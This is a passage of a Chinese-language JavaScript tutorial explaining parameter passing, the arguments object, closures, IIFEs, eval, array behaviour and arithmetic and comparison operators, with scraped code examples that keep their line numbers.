function f(p) {
p = 3;
}
f(p);

p // 2

上面代码中,变量p是一个原始类型的值,传入函数f的方式是传值传递。因此,在函数内部,p的值是原始值的拷贝,无论怎么修改,都不会影响到原始值。

但是,如果函数参数是复合类型的值(数组、对象、其他函数),传递方式是传址传递(pass by reference)。也就是说,传入函数的原始值的地址,因此在函数内部修改参数,将会影响到原始值。

1
2
3
4
5
6
7
8
var obj = { p: 1 };

function f(o) {
o.p = 2;
}
f(obj);

obj.p // 2

上面代码中,传入函数f的是参数对象obj的地址。因此,在函数内部修改obj的属性p,会影响到原始值。

注意,如果函数内部修改的,不是参数对象的某个属性,而是替换掉整个参数,这时不会影响到原始值。

1
2
3
4
5
6
7
8
var obj = [1, 2, 3];

function f(o) {
o = [2, 3, 4];
}
f(obj);

obj // [1, 2, 3]

上面代码中,在函数f内部,参数对象obj被整个替换成另一个值。这时不会影响到原始值。这是因为,形式参数(o)的值实际是参数obj的地址,重新对o赋值导致o指向另一个地址,保存在原地址上的值当然不受影响。

同名参数

如果有同名的参数,则取最后出现的那个值。

1
2
3
4
5
function f(a, a) {
console.log(a);
}

f(1, 2) // 2

上面代码中,函数f有两个参数,且参数名都是a。取值的时候,以后面的a为准,即使后面的a没有值或被省略,也是以其为准。

1
2
3
4
5
function f(a, a) {
console.log(a);
}

f(1) // undefined

调用函数f的时候,没有提供第二个参数,a的取值就变成了undefined。这时,如果要获得第一个a的值,可以使用arguments对象。

1
2
3
4
5
function f(a, a) {
console.log(arguments[0]);
}

f(1) // 1

arguments 对象

(1)定义

由于 JavaScript 允许函数有不定数目的参数,所以需要一种机制,可以在函数体内部读取所有参数。这就是arguments对象的由来。

arguments对象包含了函数运行时的所有参数,arguments[0]就是第一个参数,arguments[1]就是第二个参数,以此类推。这个对象只有在函数体内部,才可以使用。

1
2
3
4
5
6
7
8
9
10
var f = function (one) {
console.log(arguments[0]);
console.log(arguments[1]);
console.log(arguments[2]);
}

f(1, 2, 3)
// 1
// 2
// 3

正常模式下,arguments对象可以在运行时修改。

1
2
3
4
5
6
7
var f = function(a, b) {
arguments[0] = 3;
arguments[1] = 2;
return a + b;
}

f(1, 1) // 5

上面代码中,函数f调用时传入的参数,在函数内部被修改成32

严格模式下,arguments对象与函数参数不具有联动关系。也就是说,修改arguments对象不会影响到实际的函数参数。

1
2
3
4
5
6
7
8
var f = function(a, b) {
'use strict'; // 开启严格模式
arguments[0] = 3;
arguments[1] = 2;
return a + b;
}

f(1, 1) // 2

上面代码中,函数体内是严格模式,这时修改arguments对象,不会影响到真实参数ab

通过arguments对象的length属性,可以判断函数调用时到底带几个参数。

1
2
3
4
5
6
7
function f() {
return arguments.length;
}

f(1, 2, 3) // 3
f(1) // 1
f() // 0

(2)与数组的关系

需要注意的是,虽然arguments很像数组,但它是一个对象。数组专有的方法(比如sliceforEach),不能在arguments对象上直接使用。

如果要让arguments对象使用数组方法,真正的解决方法是将arguments转为真正的数组。下面是两种常用的转换方法:slice方法和逐一填入新数组。

1
2
3
4
5
6
7
var args = Array.prototype.slice.call(arguments);

// 或者
var args = [];
for (var i = 0; i < arguments.length; i++) {
args.push(arguments[i]);
}

(3)callee 属性

arguments对象带有一个callee属性,返回它所对应的原函数。

1
2
3
4
5
var f = function () {
console.log(arguments.callee === f);
}

f() // true

可以通过arguments.callee,达到调用函数自身的目的。这个属性在严格模式里面是禁用的,因此不建议使用。

函数的其他知识点

闭包

闭包(closure)是 JavaScript 语言的一个难点,也是它的特色,很多高级应用都要依靠闭包实现。

理解闭包,首先必须理解变量作用域。前面提到,JavaScript 有两种作用域:全局作用域和函数作用域。函数内部可以直接读取全局变量。

1
2
3
4
5
6
var n = 999;

function f1() {
console.log(n);
}
f1() // 999

上面代码中,函数f1可以读取全局变量n

但是,函数外部无法读取函数内部声明的变量。

1
2
3
4
5
6
function f1() {
var n = 999;
}

console.log(n)
// Uncaught ReferenceError: n is not defined(

上面代码中,函数f1内部声明的变量n,函数外是无法读取的。

如果出于种种原因,需要得到函数内的局部变量。正常情况下,这是办不到的,只有通过变通方法才能实现。那就是在函数的内部,再定义一个函数。

1
2
3
4
5
6
function f1() {
var n = 999;
function f2() {
  console.log(n); // 999
}
}

上面代码中,函数f2就在函数f1内部,这时f1内部的所有局部变量,对f2都是可见的。但是反过来就不行,f2内部的局部变量,对f1就是不可见的。这就是 JavaScript 语言特有的"链式作用域"结构(chain scope),子对象会一级一级地向上寻找所有父对象的变量。所以,父对象的所有变量,对子对象都是可见的,反之则不成立。

既然f2可以读取f1的局部变量,那么只要把f2作为返回值,我们不就可以在f1外部读取它的内部变量了吗!

1
2
3
4
5
6
7
8
9
10
function f1() {
var n = 999;
function f2() {
console.log(n);
}
return f2;
}

var result = f1();
result(); // 999

上面代码中,函数f1的返回值就是函数f2,由于f2可以读取f1的内部变量,所以就可以在外部获得f1的内部变量了。

闭包就是函数f2,即能够读取其他函数内部变量的函数。由于在 JavaScript 语言中,只有函数内部的子函数才能读取内部变量,因此可以把闭包简单理解成“定义在一个函数内部的函数”。闭包最大的特点,就是它可以“记住”诞生的环境,比如f2记住了它诞生的环境f1,所以从f2可以得到f1的内部变量。在本质上,闭包就是将函数内部和函数外部连接起来的一座桥梁。

闭包的最大用处有两个,一个是可以读取函数内部的变量,另一个就是让这些变量始终保持在内存中,即闭包可以使得它诞生环境一直存在。请看下面的例子,闭包使得内部变量记住上一次调用时的运算结果。

1
2
3
4
5
6
7
8
9
10
11
function createIncrementor(start) {
return function () {
return start++;
};
}

var inc = createIncrementor(5);

inc() // 5
inc() // 6
inc() // 7

上面代码中,start是函数createIncrementor的内部变量。通过闭包,start的状态被保留了,每一次调用都是在上一次调用的基础上进行计算。从中可以看到,闭包inc使得函数createIncrementor的内部环境,一直存在。所以,闭包可以看作是函数内部作用域的一个接口。

为什么会这样呢?原因就在于inc始终在内存中,而inc的存在依赖于createIncrementor,因此也始终在内存中,不会在调用结束后,被垃圾回收机制回收。

闭包的另一个用处,是封装对象的私有属性和私有方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Person(name) {
var _age;
function setAge(n) {
_age = n;
}
function getAge() {
return _age;
}

return {
name: name,
getAge: getAge,
setAge: setAge
};
}

var p1 = Person('张三');
p1.setAge(25);
p1.getAge() // 25

上面代码中,函数Person的内部变量_age,通过闭包getAgesetAge,变成了返回对象p1的私有变量。

注意,外层函数每次运行,都会生成一个新的闭包,而这个闭包又会保留外层函数的内部变量,所以内存消耗很大。因此不能滥用闭包,否则会造成网页的性能问题。

立即调用的函数表达式(IIFE)

在 JavaScript 中,圆括号()是一种运算符,跟在函数名之后,表示调用该函数。比如,print()就表示调用print函数。

有时,我们需要在定义函数之后,立即调用该函数。这时,你不能在函数的定义之后加上圆括号,这会产生语法错误。

1
2
function(){ /* code */ }();
// SyntaxError: Unexpected token (

产生这个错误的原因是,function这个关键字即可以当作语句,也可以当作表达式。

1
2
3
4
5
// 语句
function f() {}

// 表达式
var f = function f() {}

为了避免解析上的歧义,JavaScript 引擎规定,如果function关键字出现在行首,一律解释成语句。因此,JavaScript 引擎看到行首是function关键字之后,认为这一段都是函数的定义,不应该以圆括号结尾,所以就报错了。

解决方法就是不要让function出现在行首,让引擎将其理解成一个表达式。最简单的处理,就是将其放在一个圆括号里面。

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

上面两种写法都是以圆括号开头,引擎就会认为后面跟的是一个表示式,而不是函数定义语句,所以就避免了错误。这就叫做“立即调用的函数表达式”(Immediately-Invoked Function Expression),简称 IIFE。

注意,上面两种写法最后的分号都是必须的。如果省略分号,遇到连着两个 IIFE,可能就会报错。

1
2
3
// 报错
(function(){ /* code */ }())
(function(){ /* code */ }())

上面代码的两行之间没有分号,JavaScript 会将它们连在一起解释,将第二行解释为第一行的参数。

推而广之,任何让解释器以表达式来处理函数定义的方法,都能产生同样的效果,比如下面三种写法。

1
2
3
var i = function(){ return 10; }();
true && function(){ /* code */ }();
0, function(){ /* code */ }();

甚至像下面这样写,也是可以的。

1
2
3
4
!function () { /* code */ }();
~function () { /* code */ }();
-function () { /* code */ }();
+function () { /* code */ }();

通常情况下,只对匿名函数使用这种“立即执行的函数表达式”。它的目的有两个:一是不必为函数命名,避免了污染全局变量;二是 IIFE 内部形成了一个单独的作用域,可以封装一些外部无法读取的私有变量。

1
2
3
4
5
6
7
8
9
10
11
// 写法一
var tmp = newData;
processData(tmp);
storeData(tmp);

// 写法二
(function () {
var tmp = newData;
processData(tmp);
storeData(tmp);
}());

上面代码中,写法二比写法一更好,因为完全避免了污染全局变量。

eval 命令

基本用法

eval命令接受一个字符串作为参数,并将这个字符串当作语句执行。

1
2
eval('var a = 1;');
a // 1

上面代码将字符串当作语句运行,生成了变量a

如果参数字符串无法当作语句运行,那么就会报错。

1
eval('3x') // Uncaught SyntaxError: Invalid or unexpected token

放在eval中的字符串,应该有独自存在的意义,不能用来与eval以外的命令配合使用。举例来说,下面的代码将会报错。

1
eval('return;'); // Uncaught SyntaxError: Illegal return statement

上面代码会报错,因为return不能单独使用,必须在函数中使用。

如果eval的参数不是字符串,那么会原样返回。

1
eval(123) // 123

eval没有自己的作用域,都在当前作用域内执行,因此可能会修改当前作用域的变量的值,造成安全问题。

1
2
3
4
var a = 1;
eval('a = 2');

a // 2

上面代码中,eval命令修改了外部变量a的值。由于这个原因,eval有安全风险。

为了防止这种风险,JavaScript 规定,如果使用严格模式,eval内部声明的变量,不会影响到外部作用域。

1
2
3
4
5
(function f() {
'use strict';
eval('var foo = 123');
console.log(foo); // ReferenceError: foo is not defined
})()

上面代码中,函数f内部是严格模式,这时eval内部声明的foo变量,就不会影响到外部。

不过,即使在严格模式下,eval依然可以读写当前作用域的变量。

1
2
3
4
5
6
(function f() {
'use strict';
var foo = 1;
eval('foo = 2');
console.log(foo); // 2
})()

上面代码中,严格模式下,eval内部还是改写了外部变量,可见安全风险依然存在。

总之,eval的本质是在当前作用域之中,注入代码。由于安全风险和不利于 JavaScript 引擎优化执行速度,所以一般不推荐使用。通常情况下,eval最常见的场合是解析 JSON 数据的字符串,不过正确的做法应该是使用原生的JSON.parse方法。

eval 的别名调用

前面说过eval不利于引擎优化执行速度。更麻烦的是,还有下面这种情况,引擎在静态代码分析的阶段,根本无法分辨执行的是eval

1
2
3
var m = eval;
m('var x = 1');
x // 1

上面代码中,变量meval的别名。静态代码分析阶段,引擎分辨不出m('var x = 1')执行的是eval命令。

为了保证eval的别名不影响代码优化,JavaScript 的标准规定,凡是使用别名执行evaleval内部一律是全局作用域。

1
2
3
4
5
6
7
8
9
var a = 1;

function f() {
var a = 2;
var e = eval;
e('console.log(a)');
}

f() // 1

上面代码中,eval是别名调用,所以即使它是在函数中,它的作用域还是全局作用域,因此输出的a为全局变量。这样的话,引擎就能确认e()不会对当前的函数作用域产生影响,优化的时候就可以把这一行排除掉。

eval的别名调用的形式五花八门,只要不是直接调用,都属于别名调用,因为引擎只能分辨eval()这一种形式是直接调用。

1
2
3
4
eval.call(null, '...')
window.eval('...')
(1, eval)('...')
(eval, eval)('...')

上面这些形式都是eval的别名调用,作用域都是全局作用域。

参考链接

数组

定义

数组(array)是按次序排列的一组值。每个值的位置都有编号(从0开始),整个数组用方括号表示。

1
var arr = ['a', 'b', 'c'];

上面代码中的abc就构成一个数组,两端的方括号是数组的标志。a是0号位置,b是1号位置,c是2号位置。

除了在定义时赋值,数组也可以先定义后赋值。

1
2
3
4
5
var arr = [];

arr[0] = 'a';
arr[1] = 'b';
arr[2] = 'c';

任何类型的数据,都可以放入数组。

1
2
3
4
5
6
7
8
9
var arr = [
{a: 1},
[1, 2, 3],
function() {return true;}
];

arr[0] // Object {a: 1}
arr[1] // [1, 2, 3]
arr[2] // function (){return true;}

上面数组arr的3个成员依次是对象、数组、函数。

如果数组的元素还是数组,就形成了多维数组。

1
2
3
var a = [[1, 2], [3, 4]];
a[0][1] // 2
a[1][1] // 4

数组的本质

本质上,数组属于一种特殊的对象。typeof运算符会返回数组的类型是object

1
typeof [1, 2, 3] // "object"

上面代码表明,typeof运算符认为数组的类型就是对象。

数组的特殊性体现在,它的键名是按次序排列的一组整数(0,1,2…)。

1
2
3
4
var arr = ['a', 'b', 'c'];

Object.keys(arr)
// ["0", "1", "2"]

上面代码中,Object.keys方法返回数组的所有键名。可以看到数组的键名就是整数0、1、2。

由于数组成员的键名是固定的(默认总是0、1、2…),因此数组不用为每个元素指定键名,而对象的每个成员都必须指定键名。JavaScript 语言规定,对象的键名一律为字符串,所以,数组的键名其实也是字符串。之所以可以用数值读取,是因为非字符串的键名会被转为字符串。

1
2
3
4
var arr = ['a', 'b', 'c'];

arr['0'] // 'a'
arr[0] // 'a'

上面代码分别用数值和字符串作为键名,结果都能读取数组。原因是数值键名被自动转为了字符串。

注意,这点在赋值时也成立。一个值总是先转成字符串,再作为键名进行赋值。

1
2
3
4
var a = [];

a[1.00] = 6;
a[1] // 6

上面代码中,由于1.00转成字符串是1,所以通过数字键1可以读取值。

上一章说过,对象有两种读取成员的方法:点结构(object.key)和方括号结构(object[key])。但是,对于数值的键名,不能使用点结构。

1
2
var arr = [1, 2, 3];
arr.0 // SyntaxError

上面代码中,arr.0的写法不合法,因为单独的数值不能作为标识符(identifier)。所以,数组成员只能用方括号arr[0]表示(方括号是运算符,可以接受数值)。

length 属性

数组的length属性,返回数组的成员数量。

1
['a', 'b', 'c'].length // 3

JavaScript 使用一个32位整数,保存数组的元素个数。这意味着,数组成员最多只有 4294967295 个(232 - 1)个,也就是说length属性的最大值就是 4294967295。

只要是数组,就一定有length属性。该属性是一个动态的值,等于键名中的最大整数加上1

1
2
3
4
5
6
7
8
9
10
11
var arr = ['a', 'b'];
arr.length // 2

arr[2] = 'c';
arr.length // 3

arr[9] = 'd';
arr.length // 10

arr[1000] = 'e';
arr.length // 1001

上面代码表示,数组的数字键不需要连续,length属性的值总是比最大的那个整数键大1。另外,这也表明数组是一种动态的数据结构,可以随时增减数组的成员。

length属性是可写的。如果人为设置一个小于当前成员个数的值,该数组的成员会自动减少到length设置的值。

1
2
3
4
5
var arr = [ 'a', 'b', 'c' ];
arr.length // 3

arr.length = 2;
arr // ["a", "b"]

上面代码表示,当数组的length属性设为2(即最大的整数键只能是1)那么整数键2(值为c)就已经不在数组中了,被自动删除了。

清空数组的一个有效方法,就是将length属性设为0。

1
2
3
4
var arr = [ 'a', 'b', 'c' ];

arr.length = 0;
arr // []

如果人为设置length大于当前元素个数,则数组的成员数量会增加到这个值,新增的位置都是空位。

1
2
3
4
var a = ['a'];

a.length = 3;
a[1] // undefined

上面代码表示,当length属性设为大于数组个数时,读取新增的位置都会返回undefined

如果人为设置length为不合法的值,JavaScript 会报错。

1
2
3
4
5
6
7
8
9
10
11
// 设置负值
[].length = -1
// RangeError: Invalid array length

// 数组元素个数大于等于2的32次方
[].length = Math.pow(2, 32)
// RangeError: Invalid array length

// 设置字符串
[].length = 'abc'
// RangeError: Invalid array length

值得注意的是,由于数组本质上是一种对象,所以可以为数组添加属性,但是这不影响length属性的值。

1
2
3
4
5
6
7
var a = [];

a['p'] = 'abc';
a.length // 0

a[2.1] = 'abc';
a.length // 0

上面代码将数组的键分别设为字符串和小数,结果都不影响length属性。因为,length属性的值就是等于最大的数字键加1,而这个数组没有整数键,所以length属性保持为0

如果数组的键名是添加超出范围的数值,该键名会自动转为字符串。

1
2
3
4
5
6
7
var arr = [];
arr[-1] = 'a';
arr[Math.pow(2, 32)] = 'b';

arr.length // 0
arr[-1] // "a"
arr[4294967296] // "b"

上面代码中,我们为数组arr添加了两个不合法的数字键,结果length属性没有发生变化。这些数字键都变成了字符串键名。最后两行之所以会取到值,是因为取键值时,数字键名会默认转为字符串。

in 运算符

检查某个键名是否存在的运算符in,适用于对象,也适用于数组。

1
2
3
4
var arr = [ 'a', 'b', 'c' ];
2 in arr // true
'2' in arr // true
4 in arr // false

上面代码表明,数组存在键名为2的键。由于键名都是字符串,所以数值2会自动转成字符串。

注意,如果数组的某个位置是空位,in运算符返回false

1
2
3
4
5
var arr = [];
arr[100] = 'a';

100 in arr // true
1 in arr // false

上面代码中,数组arr只有一个成员arr[100],其他位置的键名都会返回false

for…in 循环和数组的遍历

for...in循环不仅可以遍历对象,也可以遍历数组,毕竟数组只是一种特殊对象。

1
2
3
4
5
6
7
8
var a = [1, 2, 3];

for (var i in a) {
console.log(a[i]);
}
// 1
// 2
// 3

但是,for...in不仅会遍历数组所有的数字键,还会遍历非数字键。

1
2
3
4
5
6
7
8
9
10
var a = [1, 2, 3];
a.foo = true;

for (var key in a) {
console.log(key);
}
// 0
// 1
// 2
// foo

上面代码在遍历数组时,也遍历到了非整数键foo。所以,不推荐使用for...in遍历数组。

数组的遍历可以考虑使用for循环或while循环。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var a = [1, 2, 3];

// for循环
for(var i = 0; i < a.length; i++) {
console.log(a[i]);
}

// while循环
var i = 0;
while (i < a.length) {
console.log(a[i]);
i++;
}

var l = a.length;
while (l--) {
console.log(a[l]);
}

上面代码是三种遍历数组的写法。最后一种写法是逆向遍历,即从最后一个元素向第一个元素遍历。

数组的forEach方法,也可以用来遍历数组,详见《标准库》的 Array 对象一章。

1
2
3
4
5
6
7
var colors = ['red', 'green', 'blue'];
colors.forEach(function (color) {
console.log(color);
});
// red
// green
// blue

数组的空位

当数组的某个位置是空元素,即两个逗号之间没有任何值,我们称该数组存在空位(hole)。

1
2
var a = [1, , 1];
a.length // 3

上面代码表明,数组的空位不影响length属性。

需要注意的是,如果最后一个元素后面有逗号,并不会产生空位。也就是说,有没有这个逗号,结果都是一样的。

1
2
3
4
var a = [1, 2, 3,];

a.length // 3
a // [1, 2, 3]

上面代码中,数组最后一个成员后面有一个逗号,这不影响length属性的值,与没有这个逗号时效果一样。

数组的空位是可以读取的,返回undefined

1
2
var a = [, , ,];
a[1] // undefined

使用delete命令删除一个数组成员,会形成空位,并且不会影响length属性。

1
2
3
4
5
var a = [1, 2, 3];
delete a[1];

a[1] // undefined
a.length // 3

上面代码用delete命令删除了数组的第二个元素,这个位置就形成了空位,但是对length属性没有影响。也就是说,length属性不过滤空位。所以,使用length属性进行数组遍历,一定要非常小心。

数组的某个位置是空位,与某个位置是undefined,是不一样的。如果是空位,使用数组的forEach方法、for...in结构、以及Object.keys方法进行遍历,空位都会被跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = [, , ,];

a.forEach(function (x, i) {
console.log(i + '. ' + x);
})
// 不产生任何输出

for (var i in a) {
console.log(i);
}
// 不产生任何输出

Object.keys(a)
// []

如果某个位置是undefined,遍历的时候就不会被跳过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var a = [undefined, undefined, undefined];

a.forEach(function (x, i) {
console.log(i + '. ' + x);
});
// 0. undefined
// 1. undefined
// 2. undefined

for (var i in a) {
console.log(i);
}
// 0
// 1
// 2

Object.keys(a)
// ['0', '1', '2']

这就是说,空位就是数组没有这个元素,所以不会被遍历到,而undefined则表示数组有这个元素,值是undefined,所以遍历不会跳过。

类似数组的对象

如果一个对象的所有键名都是正整数或零,并且有length属性,那么这个对象就很像数组,语法上称为“类似数组的对象”(array-like object)。

1
2
3
4
5
6
7
8
9
10
11
var obj = {
0: 'a',
1: 'b',
2: 'c',
length: 3
};

obj[0] // 'a'
obj[1] // 'b'
obj.length // 3
obj.push('d') // TypeError: obj.push is not a function

上面代码中,对象obj就是一个类似数组的对象。但是,“类似数组的对象”并不是数组,因为它们不具备数组特有的方法。对象obj没有数组的push方法,使用该方法就会报错。

“类似数组的对象”的根本特征,就是具有length属性。只要有length属性,就可以认为这个对象类似于数组。但是有一个问题,这种length属性不是动态值,不会随着成员的变化而变化。

1
2
3
4
5
var obj = {
length: 0
};
obj[3] = 'd';
obj.length // 0

上面代码为对象obj添加了一个数字键,但是length属性没变。这就说明了obj不是数组。

典型的“类似数组的对象”是函数的arguments对象,以及大多数 DOM 元素集,还有字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// arguments对象
function args() { return arguments }
var arrayLike = args('a', 'b');

arrayLike[0] // 'a'
arrayLike.length // 2
arrayLike instanceof Array // false

// DOM元素集
var elts = document.getElementsByTagName('h3');
elts.length // 3
elts instanceof Array // false

// 字符串
'abc'[1] // 'b'
'abc'.length // 3
'abc' instanceof Array // false

上面代码包含三个例子,它们都不是数组(instanceof运算符返回false),但是看上去都非常像数组。

数组的slice方法可以将“类似数组的对象”变成真正的数组。

1
var arr = Array.prototype.slice.call(arrayLike);

除了转为真正的数组,“类似数组的对象”还有一个办法可以使用数组的方法,就是通过call()把数组的方法放到对象上面。

1
2
3
4
5
function print(value, index) {
console.log(index + ' : ' + value);
}

Array.prototype.forEach.call(arrayLike, print);

上面代码中,arrayLike代表一个类似数组的对象,本来是不可以使用数组的forEach()方法的,但是通过call(),可以把forEach()嫁接到arrayLike上面调用。

下面的例子就是通过这种方法,在arguments对象上面调用forEach方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
// forEach 方法
function logArgs() {
Array.prototype.forEach.call(arguments, function (elem, i) {
console.log(i + '. ' + elem);
});
}

// 等同于 for 循环
function logArgs() {
for (var i = 0; i < arguments.length; i++) {
console.log(i + '. ' + arguments[i]);
}
}

字符串也是类似数组的对象,所以也可以用Array.prototype.forEach.call遍历。

1
2
3
4
5
6
Array.prototype.forEach.call('abc', function (chr) {
console.log(chr);
});
// a
// b
// c

注意,这种方法比直接使用数组原生的forEach要慢,所以最好还是先将“类似数组的对象”转为真正的数组,然后再直接调用数组的forEach方法。

1
2
3
4
5
6
7
var arr = Array.prototype.slice.call('abc');
arr.forEach(function (chr) {
console.log(chr);
});
// a
// b
// c

参考链接

运算符

算术运算符

运算符是处理数据的基本方法,用来从现有的值得到新的值。JavaScript 提供了多种运算符,覆盖了所有主要的运算。

概述

JavaScript 共提供10个算术运算符,用来完成基本的算术运算。

  • 加法运算符x + y
  • 减法运算符x - y
  • 乘法运算符x * y
  • 除法运算符x / y
  • 指数运算符x ** y
  • 余数运算符x % y
  • 自增运算符++x 或者 x++
  • 自减运算符--x 或者 x--
  • 数值运算符+x
  • 负数值运算符-x

减法、乘法、除法运算法比较单纯,就是执行相应的数学运算。下面介绍其他几个算术运算符,重点是加法运算符。

加法运算符

基本规则

加法运算符(+)是最常见的运算符,用来求两个数值的和。

1
1 + 1 // 2

JavaScript 允许非数值的相加。

1
2
true + true // 2
1 + true // 2

上面代码中,第一行是两个布尔值相加,第二行是数值与布尔值相加。这两种情况,布尔值都会自动转成数值,然后再相加。

比较特殊的是,如果是两个字符串相加,这时加法运算符会变成连接运算符,返回一个新的字符串,将两个原字符串连接在一起。

1
'a' + 'bc' // "abc"

如果一个运算子是字符串,另一个运算子是非字符串,这时非字符串会转成字符串,再连接在一起。

1
2
1 + 'a' // "1a"
false + 'a' // "falsea"

加法运算符是在运行时决定,到底是执行相加,还是执行连接。也就是说,运算子的不同,导致了不同的语法行为,这种现象称为“重载”(overload)。由于加法运算符存在重载,可能执行两种运算,使用的时候必须很小心。

1
2
'3' + 4 + 5 // "345"
3 + 4 + '5' // "75"

上面代码中,由于从左到右的运算次序,字符串的位置不同会导致不同的结果。

除了加法运算符,其他算术运算符(比如减法、除法和乘法)都不会发生重载。它们的规则是:所有运算子一律转为数值,再进行相应的数学运算。

1
2
3
1 - '2' // -1
1 * '2' // 2
1 / '2' // 0.5

上面代码中,减法、除法和乘法运算符,都是将字符串自动转为数值,然后再运算。

对象的相加

如果运算子是对象,必须先转成原始类型的值,然后再相加。

1
2
var obj = { p: 1 };
obj + 2 // "[object Object]2"

上面代码中,对象obj转成原始类型的值是[object Object],再加2就得到了上面的结果。

对象转成原始类型的值,规则如下。

首先,自动调用对象的valueOf方法。

1
2
var obj = { p: 1 };
obj.valueOf() // { p: 1 }

一般来说,对象的valueOf方法总是返回对象自身,这时再自动调用对象的toString方法,将其转为字符串。

1
2
var obj = { p: 1 };
obj.valueOf().toString() // "[object Object]"

对象的toString方法默认返回[object Object],所以就得到了最前面那个例子的结果。

知道了这个规则以后,就可以自己定义valueOf方法或toString方法,得到想要的结果。

1
2
3
4
5
6
7
var obj = {
valueOf: function () {
return 1;
}
};

obj + 2 // 3

上面代码中,我们定义obj对象的valueOf方法返回1,于是obj + 2就得到了3。这个例子中,由于valueOf方法直接返回一个原始类型的值,所以不再调用toString方法。

下面是自定义toString方法的例子。

1
2
3
4
5
6
7
var obj = {
toString: function () {
return 'hello';
}
};

obj + 2 // "hello2"

上面代码中,对象objtoString方法返回字符串hello。前面说过,只要有一个运算子是字符串,加法运算符就变成连接运算符,返回连接后的字符串。

这里有一个特例,如果运算子是一个Date对象的实例,那么会优先执行toString方法。

1
2
3
4
5
var obj = new Date();
obj.valueOf = function () { return 1 };
obj.toString = function () { return 'hello' };

obj + 2 // "hello2"

上面代码中,对象obj是一个Date对象的实例,并且自定义了valueOf方法和toString方法,结果toString方法优先执行。

余数运算符

余数运算符(%)返回前一个运算子被后一个运算子除,所得的余数。

1
12 % 5 // 2

需要注意的是,运算结果的正负号由第一个运算子的正负号决定。

1
2
-1 % 2 // -1
1 % -2 // 1

所以,为了得到负数的正确余数值,可以先使用绝对值函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 错误的写法
function isOdd(n) {
return n % 2 === 1;
}
isOdd(-5) // false
isOdd(-4) // false

// 正确的写法
function isOdd(n) {
return Math.abs(n % 2) === 1;
}
isOdd(-5) // true
isOdd(-4) // false

余数运算符还可以用于浮点数的运算。但是,由于浮点数不是精确的值,无法得到完全准确的结果。

1
2
6.5 % 2.1
// 0.19999999999999973

自增和自减运算符

自增和自减运算符,是一元运算符,只需要一个运算子。它们的作用是将运算子首先转为数值,然后加上1或者减去1。它们会修改原始变量。

1
2
3
4
5
6
var x = 1;
++x // 2
x // 2

--x // 1
x // 1

上面代码的变量x自增后,返回2,再进行自减,返回1。这两种情况都会使得,原始变量x的值发生改变。

运算之后,变量的值发生变化,这种效应叫做运算的副作用(side effect)。自增和自减运算符是仅有的两个具有副作用的运算符,其他运算符都不会改变变量的值。

自增和自减运算符有一个需要注意的地方,就是放在变量之后,会先返回变量操作前的值,再进行自增/自减操作;放在变量之前,会先进行自增/自减操作,再返回变量操作后的值。

1
2
3
4
5
var x = 1;
var y = 1;

x++ // 1
++y // 2

上面代码中,x是先返回当前值,然后自增,所以得到1y是先自增,然后返回新的值,所以得到2

数值运算符,负数值运算符

数值运算符(+)同样使用加号,但它是一元运算符(只需要一个操作数),而加法运算符是二元运算符(需要两个操作数)。

数值运算符的作用在于可以将任何值转为数值(与Number函数的作用相同)。

1
2
3
+true // 1
+[] // 0
+{} // NaN

上面代码表示,非数值经过数值运算符以后,都变成了数值(最后一行NaN也是数值)。具体的类型转换规则,参见《数据类型转换》一章。

负数值运算符(-),也同样具有将一个值转为数值的功能,只不过得到的值正负相反。连用两个负数值运算符,等同于数值运算符。

1
2
3
var x = 1;
-x // -1
-(-x) // 1

上面代码最后一行的圆括号不可少,否则会变成自减运算符。

数值运算符号和负数值运算符,都会返回一个新的值,而不会改变原始变量的值。

指数运算符

指数运算符(**)完成指数运算,前一个运算子是底数,后一个运算子是指数。

1
2 ** 4 // 16

注意,指数运算符是右结合,而不是左结合。即多个指数运算符连用时,先进行最右边的计算。

1
2
3
// 相当于 2 ** (3 ** 2)
2 ** 3 ** 2
// 512

上面代码中,由于指数运算符是右结合,所以先计算第二个指数运算符,而不是第一个。

赋值运算符

赋值运算符(Assignment Operators)用于给变量赋值。

最常见的赋值运算符,当然就是等号(=)。

1
2
3
4
5
// 将 1 赋值给变量 x
var x = 1;

// 将变量 y 的值赋值给变量 x
var x = y;

赋值运算符还可以与其他运算符结合,形成变体。下面是与算术运算符的结合。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 等同于 x = x + y
x += y

// 等同于 x = x - y
x -= y

// 等同于 x = x * y
x *= y

// 等同于 x = x / y
x /= y

// 等同于 x = x % y
x %= y

// 等同于 x = x ** y
x **= y

下面是与位运算符的结合(关于位运算符,请见后文的介绍)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 等同于 x = x >> y
x >>= y

// 等同于 x = x << y
x <<= y

// 等同于 x = x >>> y
x >>>= y

// 等同于 x = x & y
x &= y

// 等同于 x = x | y
x |= y

// 等同于 x = x ^ y
x ^= y

这些复合的赋值运算符,都是先进行指定运算,然后将得到值返回给左边的变量。

比较运算符

概述

比较运算符用于比较两个值的大小,然后返回一个布尔值,表示是否满足指定的条件。

1
2 > 1 // true

上面代码比较2是否大于1,返回true

注意,比较运算符可以比较各种类型的值,不仅仅是数值。

JavaScript 一共提供了8个比较运算符。

  • > 大于运算符
  • < 小于运算符
  • <= 小于或等于运算符
  • >= 大于或等于运算符
  • == 相等运算符
  • === 严格相等运算符
  • != 不相等运算符
  • !== 严格不相等运算符

这八个比较运算符分成两类:相等比较和非相等比较。两者的规则是不一样的,对于非相等的比较,算法是先看两个运算子是否都是字符串,如果是的,就按照字典顺序比较(实际上是比较 Unicode 码点);否则,将两个运算子都转成数值,再比较数值的大小。

非相等运算符:字符串的比较

字符串按照字典顺序进行比较。

1
2
'cat' > 'dog' // false
'cat' > 'catalog' // false

JavaScript 引擎内部首先比较首字符的 Unicode 码点。如果相等,再比较第二个字符的 Unicode 码点,以此类推。

1
'cat' > 'Cat' // true'

上面代码中,小写的c的 Unicode 码点(99)大于大写的C的 Unicode 码点(67),所以返回true

由于所有字符都有 Unicode 码点,因此汉字也可以比较。

1
'大' > '小' // false

上面代码中,“大”的 Unicode 码点是22823,“小”是23567,因此返回false

非相等运算符:非字符串的比较

